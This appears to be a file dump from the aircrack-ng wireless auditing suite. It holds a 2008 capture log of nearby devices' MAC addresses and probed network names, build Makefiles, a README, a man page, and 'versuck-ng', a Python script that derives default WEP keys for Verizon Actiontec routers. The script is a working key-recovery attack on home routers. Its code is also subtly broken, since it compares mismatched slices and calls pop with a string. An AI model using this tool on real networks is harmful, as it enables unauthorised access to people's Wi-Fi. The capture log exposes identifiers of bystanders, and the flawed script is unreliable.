00:1F:F3:9D:CF:50, 2008-11-03 01:56:29, 2008-11-03 01:56:34, 15, 135, 00:1A:70:F5:FE:9E,
00:19:E3:07:8D:72, 2008-11-02 22:49:03, 2008-11-03 01:31:01, 41, 638, 00:13:10:C6:5D:A4, Morf-Ra
00:21:E9:09:01:7D, 2008-11-03 00:14:07, 2008-11-03 00:14:37, 18, 6, 00:16:B6:E3:C3:7F, linksys
00:1A:73:FE:8B:05, 2008-11-02 23:57:08, 2008-11-02 23:57:08, 13, 1, (not associated) ,
00:18:41:AF:8C:26, 2008-11-02 23:45:46, 2008-11-02 23:45:47, 36, 5, (not associated) , HOMENET3
00:23:12:DA:AC:A2, 2008-11-02 23:26:36, 2008-11-02 23:26:36, 18, 1, (not associated) ,
00:16:E3:8F:01:EB, 2008-11-02 22:49:12, 2008-11-02 22:49:16, 20, 3, (not associated) , plusnet,shoestring farm
00:1B:77:B0:94:CF, 2008-11-02 22:49:28, 2008-11-02 22:49:28, 13, 1, (not associated) , Martin_Wireless
00:1E:C2:DD:61:80, 2008-11-03 00:08:39, 2008-11-03 00:08:40, 18, 2, (not associated) ,
00:1B:77:A9:34:BA, 2008-11-03 01:33:32, 2008-11-03 01:33:32, 15, 2, (not associated) , Ding735Dong
00:11:24:97:97:8A, 2008-11-02 23:16:28, 2008-11-03 01:42:46, -1, 4, 00:1E:52:7A:C4:F8,
00:18:DE:9F:5D:FD, 2008-11-02 23:47:42, 2008-11-03 01:49:21, 18, 8, (not associated) , Boone,AVFRD
00:90:4B:CC:0F:C4, 2008-11-03 01:32:53, 2008-11-03 01:52:49, 16, 10, (not associated) , linksys
00:1E:C2:DF:B1:FD, 2008-11-03 03:21:38, 2008-11-03 03:21:38, -1, 1, 00:16:B6:E3:C3:7F,
00:23:12:6C:3A:74, 2008-11-03 03:20:38, 2008-11-03 03:36:04, 18, 3, 00:0F:66:2C:A6:5B,
00:12:F0:3A:41:3F, 2008-11-03 04:18:09, 2008-11-03 04:18:09, 13, 1, (not associated) ,
00:1D:4F:EA:DF:03, 2008-11-03 06:14:39, 2008-11-03 06:14:39, -1, 6, 00:16:B6:E3:C3:7F,
00:17:A4:7A:52:8A, 2008-11-03 01:26:35, 2008-11-03 08:52:09, 10, 9, 00:09:5B:D8:B7:D0, Nedgear
00:18:DE:C9:B6:FB, 2008-11-03 11:07:24, 2008-11-03 11:07:24, 23, 2, (not associated) , Staff_WiFi
00:13:CE:ED:E8:99, 2008-11-03 11:17:23, 2008-11-03 11:17:23, 13, 1, (not associated) ,
00:04:23:79:DF:33, 2008-11-03 13:07:32, 2008-11-03 13:07:32, 13, 2, (not associated) , Boingo Hotspot
00:A0:F8:C4:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 13, 2, 02:D5:01:C8:28:D7,
00:21:E9:93:6F:B6, 2008-11-03 13:46:11, 2008-11-03 13:46:11, 13, 1, (not associated) ,
00:23:12:DA:BD:5E, 2008-11-03 13:49:56, 2008-11-03 13:50:40, 13, 149, 00:16:B6:E3:C3:7F,
00:0E:35:A0:29:75, 2008-11-03 14:03:20, 2008-11-03 14:03:20, 16, 1, (not associated) ,
00:30:65:25:74:0E, 2008-11-03 01:42:00, 2008-11-03 14:36:53, 26, 3706, 00:1E:52:7A:C4:F8, 75734b31-3f4d09cd-639675b8-9787,Base Station
00:23:12:8D:2A:FF, 2008-11-03 16:26:16, 2008-11-03 16:26:16, 23, 2, (not associated) ,
00:21:E9:4F:87:25, 2008-11-03 16:28:42, 2008-11-03 16:28:42, 16, 1, (not associated) ,
00:18:DE:C9:89:FF, 2008-11-02 23:59:36, 2008-11-03 16:33:32, 15, 24, 00:0F:66:2D:A8:21, printz
00:0B:46:F3:41:F3, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 12, 8, 72:03:92:02:08:02,
00:15:70:8D:27:2E, 2008-11-03 15:49:54, 2008-11-03 16:51:20, 24, 5355, (not associated) , 101
00:11:D9:15:80:25, 2008-11-03 18:02:48, 2008-11-03 18:02:48, -1, 1, 00:1D:7E:16:17:F4,
00:0B:46:56:26:5A, 2008-11-03 20:22:05, 2008-11-03 20:22:12, 18, 4, 12:02:DC:02:10:00,
00:08:21:31:77:92, 2008-11-03 20:22:03, 2008-11-03 20:22:11, 23, 7, 12:02:DC:02:10:00,
00:1D:4F:BA:DD:C9, 2008-11-03 21:22:52, 2008-11-03 21:22:52, -1, 1, 00:16:B6:E3:C3:7F,
00:16:CE:19:80:D8, 2008-11-03 22:30:14, 2008-11-03 22:30:14, 20, 1, (not associated) , User
00:1F:3B:00:67:51, 2008-11-03 16:37:39, 2008-11-03 23:05:19, 26, 548, (not associated) , 101,tetrahedron,KSZ05
00:1E:52:A1:5B:C7, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 21, 77, 02:00:BD:65:24:DD,
00:11:D9:19:A6:11, 2008-11-02 22:42:00, 2008-11-04 00:29:36, 32, 4109, 00:1D:7E:47:F6:B2, Gizmo
00:1D:4F:18:0B:43, 2008-11-03 00:28:58, 2008-11-04 01:00:09, 18, 2665, 00:13:10:E3:26:2F, Oasis
00:1B:77:64:63:5A, 2008-11-04 02:02:55, 2008-11-04 02:02:55, 24, 2, (not associated) , Staff_WiFi
00:23:12:84:5A:4E, 2008-11-02 22:41:33, 2008-11-04 02:17:25, 18, 11, (not associated) ,
00:19:7E:CC:1B:3D, 2008-11-02 22:51:00, 2008-11-04 02:24:11, 13, 35, (not associated) , mcgrath
00:1D:4F:BE:74:F5, 2008-11-04 02:46:52, 2008-11-04 03:57:22, 15, 16, 00:16:B6:E3:C3:7F,
00:13:46:0D:28:9D, 2008-11-02 22:42:32, 2008-11-04 04:02:02, 26, 194, 00:18:39:3E:C5:5D,
00:1E:E5:27:3F:32, 2008-11-03 00:14:37, 2008-11-04 04:32:42, -1, 15, 00:16:B6:E3:C3:7F,
00:18:DE:C9:AD:56, 2008-11-04 07:05:36, 2008-11-04 07:05:36, 23, 1, (not associated) , Staff_WiFi
00:13:E8:F1:F0:33, 2008-11-03 02:28:00, 2008-11-04 08:02:39, 20, 179, 00:17:3F:3A:F0:7E, Finack
00:18:DE:C9:99:62, 2008-11-04 05:44:10, 2008-11-04 08:04:47, 16, 3, (not associated) ,
00:1D:4F:3E:6B:2B, 2008-11-03 00:03:41, 2008-11-04 10:21:31, -1, 44, 00:09:5B:ED:2A:30,
00:23:6C:32:ED:B9, 2008-11-03 02:00:27, 2008-11-04 10:38:45, 29, 11, 00:13:10:A9:FA:DA,
00:13:CE:89:0C:39, 2008-11-04 13:13:35, 2008-11-04 13:13:35, 32, 4, (not associated) , 46yhF3DSnkXC2wI3ofFyhDkleN3oR8Zh
00:1B:63:00:60:C4, 2008-11-03 12:51:31, 2008-11-04 13:53:27, 29, 39, 00:17:3F:3A:F0:7E, Finack
00:1F:5B:55:EE:07, 2008-11-04 14:06:57, 2008-11-04 14:06:57, -1, 1, 00:16:B6:E3:C3:7F,
00:21:E9:0B:F8:AD, 2008-11-04 14:07:26, 2008-11-04 14:07:27, 18, 2, 00:16:B6:E3:C3:7F,
00:21:E9:3D:EB:45, 2008-11-03 06:51:04, 2008-11-04 14:11:19, 23, 1728, 00:17:3F:3A:F0:7E, Finack,linksys
00:1C:F0:93:D4:D6, 2008-11-03 07:36:28, 2008-11-04 15:14:00, 13, 8, (not associated) , Martin_Wireless
00:1B:77:9A:62:1A, 2008-11-02 22:41:42, 2008-11-04 15:19:36, 18, 1528, 00:1D:7E:EF:4E:6F, Molly,Global,AbortSsid
00:21:E9:95:84:C0, 2008-11-03 04:32:01, 2008-11-04 16:02:50, 15, 27, 00:16:B6:E3:C3:7F, linksys
00:23:12:9F:54:87, 2008-11-04 17:10:01, 2008-11-04 17:10:10, 29, 11, 00:16:B6:E3:C3:7F,
00:18:DE:C9:9B:7A, 2008-11-03 17:16:16, 2008-11-04 17:16:12, 30, 10, 00:16:B6:E3:C3:7F, linksys,andy lee
00:13:02:5B:44:D2, 2008-11-02 22:41:26, 2008-11-04 17:36:52, 15, 192, 00:09:5B:D8:B7:D0, Nedgear,<No current SSID>
00:23:12:C2:43:0F, 2008-11-04 17:45:33, 2008-11-04 17:45:33, 18, 1, 00:16:B6:E3:C3:7F,
00:0E:35:FB:10:A0, 2008-11-02 22:42:37, 2008-11-04 18:24:58, 24, 696, 00:09:5B:D8:B7:D0, Nedgear
00:D0:59:C8:AC:D4, 2008-11-04 18:34:33, 2008-11-04 18:34:41, 18, 4, (not associated) ,
00:0C:F1:5C:BC:48, 2008-11-03 08:28:45, 2008-11-04 20:04:42, -1, 4, 00:13:10:E3:26:2F,
00:22:41:0A:97:B0, 2008-11-04 20:22:47, 2008-11-04 20:22:47, -1, 4, 00:16:B6:E3:C3:7F,
00:13:CE:53:58:5B, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 13, 2, 02:13:CE:00:AD:8D,
00:09:7C:22:6A:EE, 2008-11-04 20:44:55, 2008-11-04 20:44:57, 26, 2, 9E:00:D4:01:DD:02,
00:1B:24:53:3D:A8, 2008-11-04 12:52:31, 2008-11-04 21:17:37, 20, 16, 00:12:17:3A:B9:78,
00:22:41:A0:F6:33, 2008-11-03 23:10:38, 2008-11-04 21:36:43, 23, 344, 00:1E:E5:73:44:DC, njeans
00:16:6F:77:03:61, 2008-11-04 21:41:26, 2008-11-04 21:41:26, 16, 1, (not associated) , linksys_SES_41527
00:11:F5:48:D1:3F, 2008-11-04 21:51:24, 2008-11-04 21:51:24, 21, 4, (not associated) , Wayport_Access,NETGEAR
00:0D:9D:12:BE:A0, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 18, 207, CE:B4:1E:CC:3B:7C,
00:21:E9:06:E7:0C, 2008-11-04 22:12:41, 2008-11-04 22:12:41, 20, 4, 00:16:B6:E3:C3:7F,
00:23:12:A1:E2:75, 2008-11-04 22:42:54, 2008-11-04 22:42:54, 16, 1, (not associated) ,
00:1E:8C:3B:D3:40, 2008-11-03 14:36:37, 2008-11-04 22:44:57, -1, 71, 00:14:BF:A3:09:8B,
00:1C:B3:B4:8B:71, 2008-11-03 21:32:11, 2008-11-04 22:47:25, 32, 414, 00:1E:E5:73:44:DC, njeans
00:1D:D9:35:B9:9C, 2008-11-04 22:48:09, 2008-11-04 22:48:09, 10, 1, (not associated) , goskins
00:1C:B3:34:BC:5B, 2008-11-03 22:22:39, 2008-11-04 23:06:45, 18, 18, 00:13:10:88:84:5B, Martin_Wireless
00:11:F5:39:8C:EB, 2008-11-04 11:17:31, 2008-11-04 23:48:42, 16, 266, 00:1E:E5:46:F4:4F, tucker1
00:0E:35:FF:51:EB, 2008-11-04 23:54:10, 2008-11-04 23:54:10, 16, 1, (not associated) , A81U4
00:1D:E0:36:5D:51, 2008-11-03 01:12:09, 2008-11-04 23:56:04, 49, 3591, 00:18:39:3E:C5:5D, Intel 802.11 Default SSID,Fundip
00:1E:4C:B2:F8:DD, 2008-11-03 09:50:40, 2008-11-05 00:08:04, 10, 266, 00:0C:41:BC:B8:D9, Mikeys wireless
00:23:6C:4E:BB:A3, 2008-11-02 22:51:29, 2008-11-05 00:25:33, 29, 265, (not associated) ,
00:1E:52:73:57:2C, 2008-11-02 23:42:08, 2008-11-05 00:29:35, 38, 160, 00:13:10:E3:BF:C5, home-net
00:17:FA:69:DE:8A, 2008-11-03 01:32:04, 2008-11-05 00:54:53, 9, 82, 00:09:5B:6A:C6:30,
00:18:DE:9F:91:63, 2008-11-03 22:40:25, 2008-11-05 00:59:25, 24, 9, (not associated) , Staff_WiFi
00:16:CF:A8:BE:07, 2008-11-03 23:17:20, 2008-11-05 01:10:45, 10, 11, (not associated) , XtYr3
00:0F:B5:3F:6B:8F, 2008-11-02 23:47:07, 2008-11-05 01:15:29, 21, 1330, 00:0F:66:6A:3A:C0, godfather
00:0F:66:84:95:DA, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 18, 335, 00:1E:E5:46:F4:4F, tucker1
00:13:CE:3A:FC:13, 2008-11-03 00:16:11, 2008-11-05 01:25:23, 18, 55, 00:0C:41:49:67:9F, Morf-Ra,Shapfam,home-net,wireless
00:11:D9:01:D4:39, 2008-11-03 01:04:07, 2008-11-05 01:26:58, 23, 1384, 00:12:17:3A:B9:78, HOMENET
00:16:CB:BB:AC:1A, 2008-11-02 23:04:52, 2008-11-05 01:43:49, 23, 23, 00:13:10:A9:FA:DA, HM
00:90:4B:96:AE:08, 2008-11-02 22:42:17, 2008-11-05 01:32:02, 18, 222, 00:13:10:C9:DC:C0, jita
00:12:0E:6F:B3:93, 2008-11-03 11:46:59, 2008-11-05 01:35:59, -1, 1407, 00:0C:41:BC:B8:D9,
00:21:E9:5C:86:67, 2008-11-05 01:38:09, 2008-11-05 01:38:09, 21, 1, (not associated) ,
00:19:D2:D1:62:46, 2008-11-02 23:25:58, 2008-11-05 01:39:19, 10, 562, (not associated) ,
00:1A:E9:83:3D:2B, 2008-11-02 23:12:18, 2008-11-05 01:39:31, 15, 405, 00:12:17:3A:B9:78, HOMENET
00:1F:5B:85:DC:A2, 2008-11-02 23:34:36, 2008-11-05 01:39:29, 21, 508, 00:13:10:A9:FA:DA, HM
00:11:24:A5:61:F3, 2008-11-02 22:40:43, 2008-11-05 01:41:22, 20, 3513, 00:0F:66:6A:3A:C0, godfather
00:1D:0D:56:12:1E, 2008-11-02 23:57:53, 2008-11-05 01:43:03, 13, 5625, 00:17:3F:3A:F0:7E, Finack
00:1A:73:99:3C:6C, 2008-11-02 22:41:30, 2008-11-05 01:42:51, 15, 2138, 00:13:46:08:87:0E, kelvin-d,kevinh
00:19:D2:D3:A8:30, 2008-11-02 22:58:12, 2008-11-05 01:42:52, 15, 140, 00:16:B6:E3:C3:7F, linksys
00:18:F3:E3:15:49, 2008-11-03 23:07:34, 2008-11-05 01:43:31, 16, 946, 00:1C:DF:39:B4:13, Legal EZ
00:0E:35:CA:EB:7A, 2008-11-02 22:45:33, 2008-11-05 01:43:07, 16, 582, 00:09:5B:6A:C6:30, fischel ,101
00:19:7D:05:F7:3A, 2008-11-02 22:41:21, 2008-11-05 01:42:41, 16, 6351, 00:1D:7E:47:F6:B2, Gizmo,kwifi
00:13:CE:25:79:53, 2008-11-02 22:46:44, 2008-11-05 01:42:44, 16, 1528, 00:15:E9:16:01:30, Nicole's mommy,Gizmo
00:22:68:B3:9C:21, 2008-11-02 22:41:16, 2008-11-05 01:43:43, 20, 3169, (not associated) ,
00:12:F0:EA:B3:E0, 2008-11-03 02:54:39, 2008-11-05 01:43:57, 16, 4036, 00:1A:70:D1:E9:D6, YaAli
00:0F:B5:BE:A7:DF, 2008-11-02 22:42:47, 2008-11-05 01:43:41, 20, 3573, 00:12:17:3A:B9:78, HOMENET
00:0E:35:75:5B:E6, 2008-11-03 13:57:12, 2008-11-05 01:42:51, 20, 786, 00:17:9A:48:1B:17, Fenerbahce
00:19:D2:3A:2F:31, 2008-11-03 00:47:43, 2008-11-05 01:43:13, 21, 4931, 00:13:10:E3:26:2F, Oasis,linksys
00:1B:77:66:74:E6, 2008-11-03 00:39:01, 2008-11-05 01:43:13, 27, 2285, 00:1D:7E:EF:4E:6F, gwireless,Molly
00:16:44:CE:71:2D, 2008-11-02 22:39:42, 2008-11-05 01:43:31, 27, 2663, 00:0F:66:6A:3A:C0, godfather
00:18:DE:96:36:C8, 2008-11-03 03:16:58, 2008-11-05 01:43:21, 32, 55823, 00:18:F8:1A:DA:A5, Intel 802.11 Default SSID,Saloka,TehTubez
00:1F:3B:5C:D4:79, 2008-11-02 22:39:17, 2008-11-05 01:42:59, 40, 1996, 00:18:F8:1A:DA:A5, Saloka |
aircrack-ng/scripts/versuck-ng/Makefile.am | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
dist_man1_MANS = versuck-ng.1
dist_bin_SCRIPTS = versuck-ng
EXTRA_DIST = README |
|
aircrack-ng/scripts/versuck-ng/README | Please read the tools manpage
this can be done with the following command from the current directory
man ./versuck-ng.1
Also please check out the tools help with
./versuck-ng -h
Thank you
-TheX1le |
|
aircrack-ng/scripts/versuck-ng/versuck-ng | #!/usr/bin/env python
__author__ = "TheX1le"
__version__ = "10-15-2009.231841"
"""
Verizon Fios and actiontech in their wisdom decided that
it would be a good idea to generate your 64 bit WEP
key off the internal mac address of your router and
some basic base 36 math. Sounds like a fine idea to me!
"""
import argparse, sys
def createKey(essid,bssid):
actionOUI = ['0020E0',
'000FB3',
'001801',
'001F90',
'0026B8',
'00247B',
'002662',
'001505',
'001EA7']
returndict = {}
output = 0 #key decimal value
multiplier = 1 #up by 36 each time
#remove formatting of bssid
bssid = bssid.replace(":","").replace("-","")
for char in essid.upper():
output += int(char,36)*multiplier
multiplier = multiplier * 36
key = "%X" % output #convert dec to hex
returndict["best"] = bssid[2:6]+key
if bssid[2:6] in actionOUI:
actionOUI.pop(bssid[2:6])
counter = 1
for oui in actionOUI:
returndict["alt"+str(counter)] = oui[2:6]+key
counter += 1
return returndict
#return the key positions 34 and 56 of the bssid
#are appended to the calculated key
def banner():
print("\n"+"#"*16)
print("#"+" "*2+"Versuck-ng"+" "*2+"#")
print("#"*16)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="versuck-ng's purpose is to calculate the default WEP key for Verizon issued Actiontec wireless routers.")
parser.add_argument("-m", "--mac", dest="mac",nargs=1, help="Mac Address")
parser.add_argument("-e", "--essid", dest="essid",nargs=1, help="essid")
if len(sys.argv) <= 1:
banner()
parser.print_help()
sys.exit(0)
args = parser.parse_args()
data = createKey(args.essid[0],args.mac[0])
print("Key is most likely")
print(data["best"])
print("Key may also be one of these")
for key in list(data.keys()):
if key is not "best":
print(data[key]) |
|
Man Page | aircrack-ng/scripts/versuck-ng/versuck-ng.1 | .TH versuck-ng "June 2010" Linux "User Manual"
.SH NAME
versuck-ng - an actiontec router default wep key generator
.SH SYNOPSIS
versuck-ng [options]
.SH DESCRIPTION
.I versuck-ng's purpose is to calculate the default WEP key for verizon
.I issued actiontec wireless routers. It does this using a list of
.I known hardware IDs in the wired mac used by the router.
.I Depending on the BSSID you can some times use it as well.
.I The OUI needs to match on both the wireless and wired mac for use of
.I the bssid to work.
versuck-ng -m [the internal mac address] -e [the ESSID of the device]
.SH OPTIONS
.IP -h
Shows the help screen.
.IP -m
The internal mac address of the device.
.IP -e
The ESSID that the device is using. |
Include | aircrack-ng/src/Makefile.inc | # Aircrack-ng
#
# Copyright (C) 2017 Joseph Benden <joe@benden.us>
#
# Autotool support was written by: Joseph Benden <joe@benden.us>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
#
# In addition, as a special exception, the copyright holders give
# permission to link the code of portions of this program with the
# OpenSSL library under certain conditions as described in each
# individual source file, and distribute linked combinations
# including the two.
#
# You must obey the GNU General Public License in all respects
# for all of the code used other than OpenSSL.
#
# If you modify file(s) with this exception, you may extend this
# exception to your dnl version of the file(s), but you are not obligated
# to do so.
#
# If you dnl do not wish to do so, delete this exception statement from your
# version.
#
# If you delete this exception statement from all source files in the
# program, then also delete it here.
SRC_LINECOUNT = %D%/aircrack-ng/linecount.cpp
SRC_AC = %D%/aircrack-ng/aircrack-ng.c
SRC_AD = %D%/airdecap-ng/airdecap-ng.c
SRC_PF = %D%/packetforge-ng/packetforge-ng.c
SRC_AR = %D%/aireplay-ng/aireplay-ng.c
SRC_ADU = %D%/airodump-ng/airodump-ng.c
SRC_AT = %D%/airtun-ng/airtun-ng.c
SRC_IV = %D%/ivstools/ivstools.c
SRC_AS = %D%/airserv-ng/airserv-ng.c
SRC_WS = %D%/wesside-ng/wesside-ng.c
SRC_BS = %D%/besside-ng/besside-ng.c
SRC_BC = %D%/besside-ng-crawler/besside-ng-crawler.c
SRC_AL = %D%/airolib-ng/airolib-ng.c
SRC_KS = %D%/kstats/kstats.c
SRC_ES = %D%/easside-ng/easside-ng.c
SRC_BUDDY = %D%/buddy-ng/buddy-ng.c
SRC_MI = %D%/makeivs-ng/makeivs-ng.c
SRC_AB = %D%/airbase-ng/airbase-ng.c
SRC_AU = %D%/airdecloak-ng/airdecloak-ng.c
SRC_TT = %D%/tkiptun-ng/tkiptun-ng.c
SRC_WC = %D%/wpaclean/wpaclean.c
SRC_AV = %D%/airventriloquist-ng/airventriloquist-ng.c
SRC_SESSION = %D%/aircrack-ng/session.c
SRC_DWRITE = %D%/airodump-ng/dump_write.c
bin_PROGRAMS += aircrack-ng \
airdecap-ng \
packetforge-ng \
ivstools \
kstats \
makeivs-ng \
airdecloak-ng
if EXPERIMENTAL
if HAVE_PCAP
bin_PROGRAMS += besside-ng-crawler
endif
endif
bin_PROGRAMS += wpaclean
sbin_PROGRAMS += airbase-ng \
aireplay-ng \
airodump-ng \
airserv-ng \
airtun-ng
if HAVE_SQLITE3
bin_PROGRAMS += airolib-ng
endif
if EXPERIMENTAL
bin_PROGRAMS += buddy-ng
sbin_PROGRAMS += airventriloquist-ng
if HAVE_AIRPCAP_OR_PCAP
sbin_PROGRAMS += besside-ng \
easside-ng \
tkiptun-ng \
wesside-ng
endif
endif
aircrack_ng_SOURCES = $(SRC_AC) $(SRC_LINECOUNT) $(SRC_SESSION)
aircrack_ng_CFLAGS = $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) $(LIBPTW_CFLAGS)
aircrack_ng_CPPFLAGS = $(AM_CPPFLAGS) -I$(abs_srcdir)/src/aircrack-ng
aircrack_ng_LDADD = $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBPTW_LIBS) $(COMMON_LDADD) $(CRYPTO_LIBS) $(HWLOC_LIBS)
if STATIC_BUILD
aircrack_ng_CFLAGS += -DDYNAMIC=0
aircrack_ng_LDADD += $(LIBAIRCRACK_CE_WPA$(SIMD_SUFFIX)_LIBS)
else
aircrack_ng_LDFLAGS = -rdynamic
endif
airdecap_ng_SOURCES = $(SRC_AD)
airdecap_ng_CFLAGS = $(COMMON_CFLAGS) $(CRYPTO_CFLAGS)
airdecap_ng_LDADD = $(LIBACCRYPTO_LIBS) $(COMMON_LDADD) $(LIBAIRCRACK_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS)
packetforge_ng_SOURCES = $(SRC_PF)
packetforge_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
packetforge_ng_LDADD = $(COMMON_LDADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
aireplay_ng_SOURCES = $(SRC_AR)
aireplay_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
aireplay_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
airodump_ng_SOURCES = $(SRC_ADU) $(SRC_DWRITE)
airodump_ng_CFLAGS = $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(PCRE2_CFLAGS) $(LIBNL_CFLAGS)
airodump_ng_CPPFLAGS = $(AM_CPPFLAGS) -I$(abs_srcdir)/src/airodump-ng
airodump_ng_LDADD = $(COMMON_LDADD) $(PCRE_LIBS) $(PCRE2_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
airserv_ng_SOURCES = $(SRC_AS)
airserv_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
airserv_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
airtun_ng_SOURCES = $(SRC_AT)
airtun_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
airtun_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
ivstools_SOURCES = $(SRC_IV)
ivstools_CFLAGS = $(COMMON_CFLAGS)
ivstools_LDADD = $(COMMON_LDADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
kstats_SOURCES = $(SRC_KS)
kstats_CFLAGS = $(PTHREAD_CFLAGS)
kstats_LDADD = $(COMMON_LDADD)
wesside_ng_SOURCES = $(SRC_WS)
wesside_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
wesside_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
easside_ng_SOURCES = $(SRC_ES)
easside_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
easside_ng_CPPFLAGS = $(AM_CPPFLAGS) -I$(abs_srcdir)/src/easside-ng
easside_ng_LDADD = $(COMMON_LDADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
buddy_ng_SOURCES = $(SRC_BUDDY)
buddy_ng_CFLAGS = $(COMMON_CFLAGS) $(PTHREAD_CFLAGS)
buddy_ng_CPPFLAGS = $(AM_CPPFLAGS) -I$(abs_srcdir)/src/easside-ng
buddy_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
besside_ng_SOURCES = $(SRC_BS)
besside_ng_CFLAGS = $(COMMON_CFLAGS) $(PCRE_CFLAGS) $(PCRE2_CFLAGS) $(LIBNL_CFLAGS)
besside_ng_LDADD = $(COMMON_LDADD) $(PCRE_LIBS) $(PCRE2_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBPTW_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
besside_ng_crawler_SOURCES = $(SRC_BC)
besside_ng_crawler_CFLAGS = $(COMMON_CFLAGS) $(PCAP_CFLAGS)
besside_ng_crawler_LDADD = $(COMMON_LDADD) $(PCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
makeivs_ng_SOURCES = $(SRC_MI)
makeivs_ng_CFLAGS = $(COMMON_CFLAGS)
makeivs_ng_LDADD = $(COMMON_LDADD) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
airolib_ng_SOURCES = $(SRC_AL)
airolib_ng_CFLAGS = $(COMMON_CFLAGS) $(SQLITE3_CFLAGS) -DHAVE_REGEXP
airolib_ng_LDADD = $(COMMON_LDADD) $(SQLITE3_LDFLAGS) $(SQLITE3_LIBS) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(LIBCOWPATTY_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
airbase_ng_SOURCES = $(SRC_AB)
airbase_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
airbase_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(LIBAIRCRACK_CE_WEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
airdecloak_ng_SOURCES = $(SRC_AU)
airdecloak_ng_CFLAGS = $(COMMON_CFLAGS)
airdecloak_ng_CPPFLAGS = $(AM_CPPFLAGS) -I$(abs_srcdir)/src/airdecloak-ng
airdecloak_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
